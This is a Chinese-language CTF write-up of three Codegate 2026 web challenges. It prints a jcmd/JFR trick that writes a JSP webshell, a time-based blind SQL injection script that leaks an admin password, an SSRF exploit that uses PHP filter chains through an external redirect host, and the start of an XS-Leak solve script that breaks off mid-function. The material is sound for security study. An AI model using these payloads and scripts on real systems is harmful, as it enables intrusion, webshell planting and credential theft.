2026 Codegate CTF Writeup

Before all

這禮拜六有時間就跳下去看了下 Codegate CTF,它是韓國辦得比賽。
解了一些有趣的 Web 題 XD (對,難得地我在一場比賽不需要算數學)

Web

Juice of Apple, Vegetable, Apricot

如題目名稱所示,是一個 Java 題
重點就是有三個都長類似這樣的 API,會去把拿到的 GET 參數 pid 拼接進去 jcmd 的命令然後理論上是吃 pid 後面接上要下的 command

jcmd 是用來 debug JVM 的 cli 工具,可以對 GC, VM, Threads 等做各種操作像是 Heap dump 或設定一些 runtime 參數

不過不能直接 CMDi 因為有 Filter
./src/main/java/com/javapulse/util/InputValidator.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.javapulse.util;

import javax.servlet.http.HttpServletRequest;
import java.util.Enumeration;

public class InputValidator {

private static final String BASH_SPECIAL = ";|&$`\\!(){}[]<>*?~^'\"";

public static boolean containsBashSpecial(String value) {
for (int i = 0; i < value.length(); i++) {
if (BASH_SPECIAL.indexOf(value.charAt(i)) >= 0) return true;
}
return false;
}

public static boolean hasUnsafeParams(HttpServletRequest req) {
Enumeration<String> paramNames = req.getParameterNames();
while (paramNames.hasMoreElements()) {
String value = req.getParameter(paramNames.nextElement());
if (value != null && containsBashSpecial(value)) return true;
}
return false;
}
}

./src/main/java/com/javapulse/servlet/StatusServlet.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package com.javapulse.servlet;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import com.javapulse.util.InputValidator;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.util.concurrent.TimeUnit;

public class StatusServlet extends HttpServlet {

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {

if (InputValidator.hasUnsafeParams(req)) {
resp.sendError(500);
return;
}

String pid = req.getParameter("pid");
if (pid == null || pid.isEmpty()) {
resp.sendError(500);
return;
}

String cmd = "jcmd " + pid + " VM.version";
Process p = Runtime.getRuntime().exec(cmd);

try {
if (!p.waitFor(3, TimeUnit.SECONDS)) {
p.destroyForcibly();
resp.sendError(500);
return;
}
} catch (InterruptedException e) {
p.destroyForcibly();
Thread.currentThread().interrupt();
resp.sendError(500);
return;
}

resp.setContentType("text/plain; charset=UTF-8");
PrintWriter out = resp.getWriter();
try (BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()))) {
String line;
while ((line = reader.readLine()) != null) {
out.println(line);
}
}
try (BufferedReader reader = new BufferedReader(new InputStreamReader(p.getErrorStream()))) {
String line;
while ((line = reader.readLine()) != null) {
out.println(line);
}
}
}
}

jcmd 可以下 jcmd <pid> help 命令知道現在可以對某個 pid 下的指令有哪些
檢查了一圈,因為最後面還會被 API 接上一個像是 VM.version 的字串值 Command,然而像是 GC.heap_dump 的選項參數都比較嚴格(還是可以構造命令但是就問像是把 memory dump 去 VM.version 這個檔案要幹嘛 XD)
所以最後是用 JFR 相關的 dump 選向來操作,JFR 主要就是 Java 用來做各種事件紀錄和回放的一系列工具,但重點是他的選項裡面包含可以幫這個 Record 定義一個 Name!
最後思路就變成開始 JFR Record => 觸發 Error 把它錄進去 JFR => JFR Dump 進去檔案拿 webshell

開始錄

1
curl "http://3.38.197.202/api/heap?pid=1%20JFR.start%20settings=none%20%2Bjdk.JavaExceptionThrow%23enabled=true%20%2Bjdk.JavaExceptionThrow%23stackTrace=false%20filename=/usr/local/tomcat/webapps/ROOT/WEB-INF/views/shell.jsp%20duration=10s%20name=pwn"

Trigger Tomcat Decode Error in URL

1
curl "http://3.38.197.202/%3C%25=new%20String(Runtime.getRuntime().exec(%22/readflag%22).getInputStream().readAllBytes())%25%3E.x"

Get Shell

1
curl "http://3.38.197.202/shell.jsp" | grep codegate

ERP system

一個 PHP 大雜燴題

首先是 PDO SQLi Trick,我們有一般 user 登入權限
可以看這邊 https://slcyber.io/research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements/
印象中去年 Downunder CTF 有出現過(?)
簡言之就是在 prepare sql query 的時候注入 ? 讓後續 query 填入變數的時候放錯位置,並且搭配前後 backtick 合併來 escape execute 函數帶入拿到 SQLi
./app/src/index.php
注意看這一段,它先去把 user input 作為 column name prepare 了一個 SQL Statement,並且把 backtick 給 escape 掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
session_start();

if (!isset($_SESSION['username'])) {
header('Location: /login.php');
exit;
}

include 'db.php';

$colParam = $_GET['col'] ?? null;
$nameParam = $_GET['name'] ?? null;

$fixedColumns = ['full_name', 'department', 'position', 'salary', 'email'];
$selectColumns = $colParam
? '`' . str_replace('`', '``', $colParam) . '`'
: 'full_name, department, position, salary, email';
$displayColumns = $colParam ? [$colParam] : $fixedColumns;
if ($colParam === 'salary') {
$selectColumns = 'full_name, salary, email';
$displayColumns = ['salary'];
}

if ($nameParam !== null && $nameParam !== '') {
$stmt = $pdo->prepare("SELECT $selectColumns FROM employees WHERE full_name = ?");
$stmt->execute([$nameParam]);
} else {
$stmt = $pdo->query("SELECT $selectColumns FROM employees ORDER BY department, full_name");
}

$data = $stmt->fetchAll(PDO::FETCH_ASSOC);
$currentEmail = $_SESSION['email'] ?? '';
$isAdmin = (bool)($_SESSION['is_admin'] ?? false);
if (isset($_GET['download']) && $_GET['download'] === '1') {
header('Content-Type: text/csv');
header('Content-Disposition: attachment; filename="employees_export.csv"');
foreach ($data as $row) {
$values = array_values($row);
echo implode(',', $values) . PHP_EOL;
}
exit;
}
?>

唱出來的腳本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import requests
import time

url = "http://15.165.11.35"

def get_session():
s = requests.Session()
# Login as mkim
try:
r = s.post(f"{url}/login.php", data={"username": "mkim", "password": "erp123"}, timeout=10)
if "ERP Dashboard" in r.text:
return s
except Exception as e:
print(f"[-] Login error: {e}")
return None

def check(session, condition):
# Exploitation principle from: https://ithelp.ithome.com.tw/m/articles/10383769
sleep_time = 1.5
payload_name = f"x` FROM (SELECT (SELECT IF({condition}, SLEEP({sleep_time}), 0)) AS `'x`)y;#"
params = {
"col": "\\?#\0",
"name": payload_name
}

start = time.time()
try:
session.get(f"{url}/index.php", params=params, timeout=4)
except requests.exceptions.Timeout:
return True
except Exception:
return False
end = time.time()
return (end - start) > (sleep_time - 0.3)

def leak_hex_password(session):
print("[*] Leaking admin password (HEX) using binary search...")
hex_password = ""
i = 1

# Target the first admin user explicitly
query = "SELECT HEX(password) FROM users WHERE is_admin=1 LIMIT 1 OFFSET 0"

while True:
# Check if there's a character at this position
if not check(session, f"ORD(SUBSTR(({query}), {i}, 1)) > 0"):
break

low = 32 # '0'-'9', 'A'-'F' are in printable range
high = 126
char_val = 0

while low <= high:
mid = (low + high) // 2
if check(session, f"ORD(SUBSTR(({query}), {i}, 1)) > {mid}"):
low = mid + 1
else:
char_val = mid
high = mid - 1

if char_val == 0:
break

hex_password += chr(char_val)
print(f"[+] Current HEX: {hex_password}")
i += 1

return hex_password

if __name__ == "__main__":
session = get_session()
if session:
print("[+] Logged in successfully.")
hex_val = leak_hex_password(session)
print(f"\n[!] Final HEX Password: {hex_val}")
try:
password = bytes.fromhex(hex_val).decode()
print(f"[!] Decoded Password: {password}")
except Exception:
print("[-] Could not decode hex string to ASCII.")
else:
print("[-] Failed to login.")

OK,但是 FLAG 在哪,注意到 Dockerfile 這一段

1
bash -c 'SECRET="codegate2026{fake_flag}"; for ((i=0; i<${#SECRET}; i++)); do echo -n "${SECRET:i:1}" > /secret/secret_$i; done

emm…一個一個字元塞進去 /secret/secret_<idx>

所以要來看第二階段的 api 了

./app/src/filters.php 註冊了一些新的 PHP Filters

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
<?php
class Md5HashingFilter extends php_user_filter {
public function filter($in, $out, &$consumed, $closing): int {
if (!isset($this->buffer)) {
$this->buffer = '';
}
while ($bucket = stream_bucket_make_writeable($in)) {
$consumed += $bucket->datalen;
$this->buffer .= $bucket->data;
}
if ($closing) {
$bucket = stream_bucket_new($this->stream, hash("md5", $this->buffer));
stream_bucket_append($out, $bucket);
$this->buffer = '';
}
return PSFS_PASS_ON;
}
}

class Sha256HashingFilter extends php_user_filter {
public function filter($in, $out, &$consumed, $closing): int {
if (!isset($this->buffer)) {
$this->buffer = '';
}
while ($bucket = stream_bucket_make_writeable($in)) {
$consumed += $bucket->datalen;
$this->buffer .= $bucket->data;
}
if ($closing) {
$bucket = stream_bucket_new($this->stream, hash("sha256", $this->buffer));
stream_bucket_append($out, $bucket);
$this->buffer = '';
}
return PSFS_PASS_ON;
}
}

class SensitiveDataMaskFilter extends php_user_filter {
public function filter($in, $out, &$consumed, $closing): int {
if (!isset($this->buffer)) {
$this->buffer = '';
}
while ($bucket = stream_bucket_make_writeable($in)) {
$consumed += $bucket->datalen;
$this->buffer .= $bucket->data;
}
if ($closing) {
$masked = preg_replace('/[a-z0-9]+@[a-z]+\.[a-z]{2,3}/i', '***@***.com', $this->buffer);
$bucket = stream_bucket_new($this->stream, $masked);
stream_bucket_append($out, $bucket);
$this->buffer = '';
}
return PSFS_PASS_ON;
}
}

class ReverseFilter extends php_user_filter {
public function filter($in, $out, &$consumed, $closing): int {
if (!isset($this->buffer)) {
$this->buffer = '';
}
while ($bucket = stream_bucket_make_writeable($in)) {
$consumed += $bucket->datalen;
$this->buffer .= $bucket->data;
}
if ($closing) {
$bucket = stream_bucket_new($this->stream, strrev($this->buffer));
stream_bucket_append($out, $bucket);
$this->buffer = '';
}
return PSFS_PASS_ON;
}
}

class StripTagsFilter extends php_user_filter {
public function filter($in, $out, &$consumed, $closing): int {
if (!isset($this->buffer)) {
$this->buffer = '';
}
while ($bucket = stream_bucket_make_writeable($in)) {
$consumed += $bucket->datalen;
$this->buffer .= $bucket->data;
}
if ($closing) {
$bucket = stream_bucket_new($this->stream, strip_tags($this->buffer));
stream_bucket_append($out, $bucket);
$this->buffer = '';
}
return PSFS_PASS_ON;
}
}

stream_filter_register("hash.md5", "Md5HashingFilter");
stream_filter_register("hash.sha256", "Sha256HashingFilter");
stream_filter_register("utils.masking", "SensitiveDataMaskFilter");
stream_filter_register("string.reverse", "ReverseFilter");
stream_filter_register("string.strip_tags", "StripTagsFilter");
?>

有個 localhost 才摸得到的 secret.php
你可以指定要用的 filters + index 來做組合讀取 /secret/secret_<idx> 並用 filters 做操作,最後會回傳該 byte 的內容 + / + index + / + 一個 random salt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
$ip = $_SERVER['REMOTE_ADDR'];

if($ip != '127.0.0.1') {
die("Error: You are not authorized to access this page!");
}

include 'filters.php';

$filter = $_GET['filter'] ?? '';
if(strlen($filter) > 200) {
die("Error: Filter length is too long!");
}

if (isset($_GET['index'])) {
$index = (int)$_GET['index'];

if (!preg_match('/^[a-zA-Z0-9.|_-]+$/', $filter)) {
die("Error: Invalid characters or syntax found.");
}

$target = "php://filter/read=" . $filter . "/resource=" . "/secret/secret_" . $index;

$content = file_get_contents($target);

$salt = bin2hex(random_bytes(16));

echo "Secret: " . $content . "/" . $index . "/" . $salt;
} else {
echo "Usage: ?index=0";
}

最後是 admin 才摸得到的 hash.php,用來指定一個 http url 後取 sha256 最後輸出回來

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
session_start();
include 'filters.php';

if (!isset($_SESSION['username'])) {
header('Location: /login.php');
exit;
}

if (!$_SESSION['is_admin']) {
die("Error: You are not authorized to access this page!");
}

$filter = $_GET['filter'] ?? '';
$resource = $_GET['resource'] ?? '';

if($filter == '' || $resource == '') {
die("Usage: ?filter=filter&resource=resource");
}

if (!preg_match('/^[a-zA-Z0-9.|_-]+$/', $filter)) {
die("Error: Invalid characters or syntax found.");
}

$parsed = parse_url($resource);

if ($parsed === false || !isset($parsed['scheme']) || !isset($parsed['host'])) {
die("Error: Invalid URL format or missing scheme/host.");
}

$scheme = $parsed['scheme'];
$host = $parsed['host'];

if (strtolower($scheme) !== 'http') {
die("Error: Only valid HTTP URLs are allowed.");
}

$ip = gethostbyname($host);

if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
die("Error: Access to local/private network is prohibited.");
}

$target = "php://filter/read=" . $filter . "|hash.sha256" . "/resource=" . $resource;

$content = file_get_contents($target);

echo $content;
?>

首先是 bypass url 對 localhost 的限制,DNS Rebinding 蠻難 Race 出來 (DNS Cache),然後亂指其實也行不通,所以最後我是寫個簡單的 HTTP Proxy 302 回去,因為 filter 可以讀。
後面就是指回去請求 secret.php,根據新增的 filters 我最有興趣的是 string.strip_tagsutils.unmask,因為我們要想辦法讓 salt 最後會被轉成可預測的內容,否則在 sha256 後根本不知道該次 oracle 出來的 FLAG 字元是什麼。
最後的 exploits 是利用 string.strip_tags,所以先想辦法固定生出一個 tag
首先是 convert.base64-encode 可以把 / 固定轉成 L
再來串 convert.iconv.IBM037.UTF-8 固定會把 L 轉成 <
然後就可以剩下一開始的第一個 byte 要處理了,建表一下對照就好。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#!/usr/bin/env python3
import requests
import urllib.parse
import subprocess
import json

TARGET = "http://54.180.161.11/"
REDIRECT_HOST = "http://45.77.20.255:15337"
SECRET_FILTER = "string.reverse"
HASH_FILTER = "convert.base64-encode|convert.iconv.IBM037.UTF-8|string.strip_tags"

# Precomputed lookup table: sha256 hash -> char (generated by test_verify.php)
LOOKUP = {
'c7a25abbedd7ff70c1fa9967b9f550f86b402d837c88f668674481fdec671524': ' ',
'cfa291d1807db203e3c38f8fbccb38f653adc66eb627636ce739ebde88a0502a': '!',
'7d83c04738fe33ab77a47fee1b107e54bfee92fcd0106f0c1bce7461a9abfba6': '"',
'e7fcf6917bfb35a20c9f2dc26ae8027e2be5da75dbfbb8f03f737c58ce4b93de': '#',
'da38408045d066eb0ea33b1371ebefe212c87637a1ac6e6cac7cba4877b99b81': '$',
'ea6b081c37931dae5ad0c1c70d27ac40e5ec0c40f132821cfac0c80ca06cc497': '%',
'fec930dcb2038ea3d1ab1a46b981d0ddaf81a8b997bceee607ae6eae2a87ca38': '&',
'48f21de7c3b3ade9424869fea9b4dd6c19527d20385d86640a30af3460f26230': "'",
'def34e46f235511db10e1efacac5f32aec9c45cc65072e12bec7c4781aa9bc83': '(',
'a2d947eaa10c3d6e6f7ca3c40b2a49d3869fe9ced31f025814e168590d253a22': ')',
'291fbeb713c011d18d38b874dbdb194c66efb3ae0ef006dc206f9f8256d42cc5': '*',
'a590ea177c90d7ca1c204f3cf0be497e1eda402c70e089cc6ada1cb911f3354f': '+',
'56c313e315cc42c3aeee4691fc74e76596ee2d0a18734e00ffe731b5bf5d69c2': ',',
'7732554af5a44e76711a89b35887d81651d9c197d6054e4a2e0f63db646651c2': '-',
'8eeb5a17af2569888e0266aef6a76d3974b424005e65c4174a2915bda6d00cf5': '.',
'90bf51703c7fcf08c49db63a5dc7ffa46ee9660d75a34ba0886609c24a4c051e': '/',
'16443f612693011d50a8bf644dba9d85a455bad7fb773dcf8854e1e5f52b597c': '0',
'd1b3c9912693f8b51bba6337812560232d4799011831b1dd94332eb40c44613b': '1',
'7c36c3f10f98f70c6ee47c2be360e4ffb8abd6e9221a2701073fee28885c11b8': '2',
'200293f3fa0aa405e882b3dce3c42a88d083f4d00c5262199eb273b3bb9fcfe1': '3',
'8a3f7e6188fa275fe5523deb0dc7953e24812d995c88d1ee68c82048bbe3a5eb': '4',
'd5d59a177700405e7386a99795c0754a6c02041dd2aa99a3162e8c64fa8d0e06': '5',
'3d31c29f527a26b2959f1b163528c572bb62d3d8592f17fadb6dadb8780cf29e': '6',
'9fbc04582f0ba0348db33a1e8be6ec2febe384e20d0a91fe37ebaca5513bb8d9': '7',
'127510e3ec7f54229c1db91ca44bf82987c113394d45ef67b223a73992a3340c': '8',
'5e38e281b52418f0c65db2f39c8e143f794a2683419d52dbea0004219da98118': '9',
'38cafa2bb76543134eb66146666847b66a6d6658658899c154cbf933578ad58b': ':',
'f64f0e8013f24a572ffe7b780f5aaf8ed1481951304aaa5c7daaefba613b3d08': ';',
'323692b78b413106c9ba0ce037ae249721bdbb00303e400a9fbbf489b8406f3e': '<',
'bb860b41bb7d7cbbe9e7b3bed2db535de13238ee70cb4f543dc2993c36e727fe': '=',
'0880d5cf1f490f6c8940f45ba58ddc115037e56ac05812a4a8a2d7800ea31c15': '>',
'0578a4a3b32579008163c24ce8815aa8bcf0d014c59a65414d2ba6f2782e1ac2': '?',
'39e32985a581e976301f46bcde788a0999de675769783826f48c28ac93971579': '@',
'0681b5959619ed1c233bddbe1ac97bd6d7b4e72b821fbe691f2a656d08c4f451': 'A',
'de1fd70f321891269f0d602195890a939626a5c1e96d9938d80ef02593731edc': 'B',
'fba7bb6a22675f76776ca640dd17671607955c5fb1e93828780b36dae5b19136': 'C',
'84aa38e6def5330c9b02c00d65a7cee1b0d91c99aa420720f74d354f6f87ce5d': 'D',
'fd4bc40164c69a22fdad429c72c8075ccea5c9dd50e1f854910b844a19249d41': 'E',
'30fb2b65d042f6c29563e9541bbae7793409e2e12c6cdff38d7782d553c74ae7': 'F',
'ab9d33b1ed8e0c612e05ad539ac1eb0fbc3a6d42f3823f801f4a23ff53d4dcc1': 'G',
'adb6422529100a9716d5c01dcf5d7c4e3bcb121400095cd3e91939ae40f04b31': 'H',
'004c3cf90e4b3220a129ea074e346a86d1b6bb91ae400e19530c6cb9fd3c4a75': 'I',
'a5621e325043248048036bf9bdb5c7cc9a2e5716c10e57403a058bea42135589': 'J',
'357da61683a44b443b0290c4504a9cc923b7c0802c25c3bd2e9552555547d0e9': 'K',
'ee1c1f32a32ac80e166aa5e74b2f8a82a2b9eee3bc4a78c70ba7b15f7f4e3532': 'L',
'c0048e7998a8e837930eaf7de8b0f31f1559ca5bf823fcefff06182b18debbd7': 'M',
'0bb2b782703ad043bbc572782044e6471b823b1f26dc31c16b02c2a7fb2463d0': 'N',
'639ed432e8ff611880fa676d7fc1868db791b58c4c86a4236c70b549e6ff8b5c': 'O',
'4eccc1db0307a645a4c56754669a4e87be51ece7082f9915ccce361cc66fd673': 'P',
'3a852eada67f9839453d8022da86420e76a64b4253c2d1d8a30ed643ab5fc73f': 'Q',
'067dfa4ee2954daf5080a07de13b95fab9bdffbe57351fcf189eb7eec4b4f470': 'R',
'd81ccfc9bcc6e35871da6a54462a6becc17fd66f6debc1f67d55d2e407c10da1': 'S',
'0296fa0d197bb857fbf4a50ed6b89f88a89670e74fd20a25b3689d1511a95e18': 'T',
'0212aea16010a609a7a196c8271886ffed16ba44c7bc04af913eec33477bebe0': 'U',
'0432abbb74767aea19f09f01fbc630f22b46201273a70b853d648e22d0a5a921': 'V',
'99644d2c42eeda7d310c40bf92f86eb7d5aca7f47c195307fad3cbcd002cad3e': 'W',
'ae2f255925047bd2b0d9ba5962bbfba9f5987f6d4a318d3849142be118fdcb7c': 'X',
'e5c2f3bd69170f09e2de8526f2d620edcb9e5df97af4fdce933a48c03d49fc43': 'Y',
'43dcd6c8c059560d2dc4d29d766b4281bc6790fe1efc2e172b0d530a975bb360': 'Z',
'85d13aebd50d1912103600f06e2aaabfa156aee1f6144f318e7b535409e00925': '[',
'b6a9422d4923fc22537fef0cc7709eaa8dd1fa4b47ece310c6cbd57428f53079': '\\',
'a0e652f6495005667c7deb50ed98332f8a91c1455455836f90ce86bea968d355': ']',
'2d165a0b66a4cdc45a976e88a8a9021a50ac226205e013161823c4c4d4eba974': '^',
'736a6893b5a9429951cdb8a9f7a21fc5f2b968e75134a0572317ea6f9f9f461e': '_',
'72f77543f8ca01cb273fa7a9d0ffc66ee54c2aab69e16d665de742bba8e4ac35': '`',
'10506572c37a0d2fdd6886f8efcf83cd8f813631f427289c9b199e92893017ef': 'a',
'b8909ace99212c22579937a70da428d4039801a8b720eb7fdb7a215a3c72d135': 'b',
'b837271b72a140ecff684bebc14837e8deb000c01506b50053cf38f27e28cfd3': 'c',
'dd59202ec83d46bd25e94d0e2b08c228fb9361fa12b92b02414f0a8cc90cadb2': 'd',
'6c277fbc62397390377202ca665b5cdf82dd8920d754f2c5ff9528f8096ea6af': 'e',
'dbeabb1c2232e1b2f6cf50b16e3b22eac29657e0c5058fa01018a3eb5a88be9d': 'f',
'9092989ed8bf6774970b8e6f5918381f1f2d500506301031d332ca34e4d02895': 'g',
'bcc10614eea4fdec6348d873eb53dc72950b4ff7ccf86dc3d2e96d1b16468eb2': 'h',
'a09afa29e1632af11a2739ca1d52891686cca77cb98a5aa50a3290a7c001008a': 'i',
'1b90f46f74c8a7e145bc9fecaa3e4ee256ef0bb06e65ea34559e62e716efa407': 'j',
'3b40961108cb8fee5c66c0ea9ddddb0dbd945e5177712bddb65094c225cb6479': 'k',
'95149ecf8db92584b21074728dcbb27c6859f74a5e5a7c6873e2132607d0e036': 'l',
'8970bf80a018a8aee4b1dad3da276a2f9a5ebc54e08bf69585de54f1039f1c5b': 'm',
'3c65aae208712e0878d706120091c9e0973d57b51a49ec371bb86e37b29902b2': 'n',
'00e8f0c19192dfb761ff116ef80e3a9a5b9368e35568cc635c175d8d6c9d8525': 'o',
'389728c0c4b9ba6508287b9159bbce13181b91053226f92d4f6d19b8334584a9': 'p',
'bc9749688839bbd91cf867397e6870e589811ec1f02e5f718251d021b9e5afa9': 'q',
'689581954a870ce38454433d8c85448cb12a96b391c2fe1e8a4b3858507deb20': 'r',
'1e9bcb45574a2aad280f597e8119ad1c36efb38dfc7d4b1d5f65be4f1ac38531': 's',
'153b9290da5b2a9b27ca7f362a8db6135523c6d84851772e28119e0269ba7e90': 't',
'9ea758a1242a82372276d0341342ccac3be3e16f039412acf5bf1a97ef536796': 'u',
'1505db3268d4dc9dc80d8aa0428db9c75d12a6af662a596cabab5d68486c5d19': 'v',
'de10f82b72a1d97b9610c089a97692ceb4d5e8426ebaba241b1e3ede2113ed89': 'w',
'f910f60728bf8d4c001e2a294230ad447a66fea5a144f0edf79a732c0932aca2': 'x',
'9022a7604837e4073a155a79e1665c04e94eca4522936c0e0fe596efcc3401e6': 'y',
'7070602a17b6d3feeb629e1192815111b6ba08813dfd79c3cd52847b17fae394': 'z',
'11b25ec6a95e79de23836af1ec6e629ab22a7788d771e2c44e30200d3f8e029a': '{',
'eb02ad3ee9a3d9b35716578ed380123f99c28125e7d3f71e0fb416dd454b5fe5': '|',
'4213f6a010400354866dfce5ba78cc2c834c2da9ffc6c51109d346f35f13ec09': '}',
'6d556e7ad18a4de3a357c55699c1df0fa791e365379fb6b2d85fb2500255c4ac': '~',
}

def main():
# Login as admin
session = requests.Session()
resp = session.post(f"{TARGET}/login.php", data={
'username': 'admin',
'password': '2789710996eb17aacbbc93d8414fc7f57fbdf8dbe61c4e9b73aa72c06aa76936'
}, allow_redirects=False)
print(f"Login: {resp.status_code}")

# Extract flag char by char
flag = ""
consecutive_fails = 0

for idx in range(100):
# Build the inner URL for secret.php
inner_url = f"{REDIRECT_HOST}/secret.php?index={idx}&filter={SECRET_FILTER}"

# Request hash.php with SSRF
resp = session.get(f"{TARGET}/hash.php", params={
'filter': HASH_FILTER,
'resource': inner_url
})

hash_val = resp.text.strip()

if hash_val in LOOKUP:
char = LOOKUP[hash_val]
flag += char
consecutive_fails = 0
print(f"[{idx:3d}] hash={hash_val[:16]}... -> '{char}' flag so far: {flag}")
else:
consecutive_fails += 1
print(f"[{idx:3d}] hash={hash_val[:32]}... -> UNKNOWN")
if consecutive_fails >= 3:
print("3 consecutive unknowns, stopping.")
break

print(f"\n{'='*60}")
print(f"FLAG: {flag}")
print(f"{'='*60}")

if __name__ == "__main__":
main()

Memo

XSLeak 題目,codebase 有點大但架構是 NGINX + TypeScript,反正就是

  1. main.ts 有 CSP
    1
    2
    3
    4
    5
    6
    7
    8
    9
    contentSecurityPolicy: {
    directives: {
    defaultSrc: ["'self'"],
    frameAncestors: [`*`],
    objectSrc: [`'none'`],
    connectSrc: ["'self'"],
    baseUri: [`'self'`],
    },
    }
  2. DOMPurify Allow Tags
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    const renderMemo = (data) => {
    const option = {
    ALLOWED_TAGS: [
    'b', 'strong', 'i', 'em', 'u', 's', 'del',
    'p', 'br', 'ul', 'ol', 'li', 'span', 'img'
    ],
    };
    const sanitizedTitle = DOMPurify.sanitize(data.title, option);
    const sanitizedContent = DOMPurify.sanitize(data.content, option);

    title.innerHTML = sanitizedTitle;
    content.innerHTML = sanitizedContent;
    };
  3. Flag 在某張 png 上(路徑未知),Admin 和 Normal User 瀏覽的 API 不太一樣

./app/src/api/image/image.service.ts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import { Injectable } from '@nestjs/common';
import { existsSync, readdirSync } from 'fs';
import { join, resolve } from 'path';

@Injectable()
export class ImageService {
private getImageDir(): string {
return join(__dirname, '..', '..', 'images');
}

private resolveSafePath(filename: string): string | null {
const baseDir = resolve(this.getImageDir());
const resolvedPath = resolve(baseDir, filename);

if (!resolvedPath.startsWith(baseDir + '/')) return null;

return resolvedPath;
}

getImagePath(filename: string): string | null {
const imagePath = this.resolveSafePath(filename);

if (!imagePath || !existsSync(imagePath)) return null;

return imagePath;
}

getAdminImagePath(filename: string): string | null {
const imagePath = this.resolveSafePath(filename);

if (imagePath && existsSync(imagePath)) return imagePath;

const files = readdirSync(this.getImageDir());
const matched = files.find(file => file.startsWith(filename));

if (!matched) return null;

return this.resolveSafePath(matched);
}

注意到 admin 可以有前餟搜尋
4. 使用者可以新增 memo (過 DOMPurify),每個 memo 被打開到最後都會去 fetch 某個 API,我們會可以看到瀏覽次數。
5. 有個 Admin bot 可以交 URL,timeout 20 secs

在戳這題的時候我發現到當 image API 回傳 null 的時候會 504 timeout …
又因為 bot 的 browser 有 timeout,是不是代表可以做 Connection Pool 的 Trick …?
答案是 NGINX 有更小的 socket size 128 lol
那後續就是讓他 load 127 張會 timeout 的圖片 + 當次要猜測的,如果都有 load 成功那後續就會繼續執行 web 的 js 去 POST API 統計次數,不然就不會,以這個為 oracle 去 char by char leak 路徑出來。

solve.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
import requests
import time
import sys
import urllib3

urllib3.disable_warnings()

TARGET = "https://3.38.199.85"
BOT_URL = "http://3.38.199.85:5000"
BOT_TARGET = "https://nginx"
NUM_BLOCKING = 127
BOT_WAIT = 30
HEX_CHARS = "0123456789abcdef"

user_counter = [int(time.time()) % 10000]


def new_session():
"""Create a fresh session with a new user to avoid memo list bloat."""
ss = requests.Session()
ss.verify = False
user = f"xhex_{user_counter[0]}"
user_counter[0] += 1
ss.post(f"{TARGET}/api/auth/register", json={
"username": user, "password": "pass123", "name": "s"
})
ss.post(f"{TARGET}/api/auth/login", json={
"username": user, "password": "pass123"
})
return ss


def test_batch(prefix, chars):
"""Test all chars in one batch. Returns matching char or None."""
ss = new_session()
candidates = []

for idx, ch in enumerate(chars):
candidate = prefix + ch
parts = []
for i in range(NUM_BLOCKING):
parts.append(f'<img src="/api/image?filename=h{idx}_{i:04d}_x.png">')
parts.append(f'<img src="/api/image/admin?filename={candidate}">')
content = "".join(parts)

title = f"h{idx}_{int(time.time()*1000)%999999}"
ss.post(f"{TARGET}/api/memo", json={"title": title, "content": content})

memos = ss.get(f"{TARGET}/api/memo").json().get("data", [])
